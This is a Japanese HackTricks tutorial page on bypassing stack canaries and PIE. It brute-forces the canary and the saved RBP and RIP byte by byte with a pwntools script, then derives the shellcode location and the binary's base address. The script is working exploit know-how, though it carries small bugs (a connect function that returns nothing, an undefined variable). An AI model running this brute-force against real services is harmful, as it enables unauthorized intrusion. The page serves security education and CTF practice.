スタック内のBFアドレス
Reading time: 7 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
バイナリがカナリアとPIE(位置独立実行可能ファイル)によって保護されている場合、それをバイパスする方法を見つける必要があります。
note
checksec
は、バイナリがカナリアによって保護されていることを見つけられない場合があります。これは静的にコンパイルされており、関数を特定できないためです。
しかし、関数呼び出しの最初にスタックに値が保存されており、その値が終了前にチェックされることに気づけば、手動で確認できます。
ブルートフォースアドレス
PIEをバイパスするためには、いくつかのアドレスを漏洩させる必要があります。 もしバイナリがアドレスを漏洩させていない場合、最善の方法は脆弱な関数内のスタックに保存されたRBPとRIPをブルートフォースすることです。
例えば、バイナリがカナリアとPIEの両方で保護されている場合、カナリアをブルートフォースし始め、その後の8バイト(x64)が保存されたRBPであり、次の8バイトが保存されたRIPになります。
tip
スタック内の戻りアドレスはメインバイナリコードに属していると考えられています。脆弱性がバイナリコード内にある場合、通常はその通りです。
バイナリからRBPとRIPをブルートフォースするには、プログラムが何かを出力するか、単にクラッシュしない場合、正しいと推測されたバイトが有効であることを確認できます。カナリアをブルートフォースするために提供された同じ関数を使用してRBPとRIPをブルートフォースできます:
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
PIEを打破するために必要な最後のことは、漏洩したアドレスから有用なアドレスを計算することです:RBPとRIPです。
RBPから、スタックにシェルを書き込んでいる場所を計算できます。これは、スタック内の文字列_"/bin/sh\x00"_を書き込む場所を知るのに非常に役立ちます。漏洩したRBPとシェルコードの間の距離を計算するには、RBPを漏洩させた後にブレークポイントを置き、シェルコードがどこにあるかを確認するだけです。次に、シェルコードとRBPの間の距離を計算できます:
INI_SHELLCODE = RBP - 1152
RIPからPIEバイナリのベースアドレスを計算できます。これは有効なROPチェーンを作成するために必要です。
ベースアドレスを計算するには、objdump -d vunbinary
を実行し、最新のアドレスを逆アセンブルして確認します:
この例では、すべてのコードを特定するために1バイトと半分だけが必要であることがわかります。この場合、ベースアドレスは**漏洩したRIPの最後が"000"**になります。たとえば、0x562002970ecf
が漏洩した場合、ベースアドレスは0x562002970000
です。
elf.address = RIP - (RIP & 0xfff)
改善点
この投稿からのいくつかの観察によると、RBPおよびRIP値を漏洩させる際に、サーバーが正しくない値でクラッシュしない可能性があり、BFスクリプトは良い値を取得したと考えることがあります。これは、正確な値でなくても、いくつかのアドレスがそれを壊さない可能性があるためです。
そのブログ投稿によると、サーバーへのリクエストの間に短い遅延を追加することが推奨されています。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。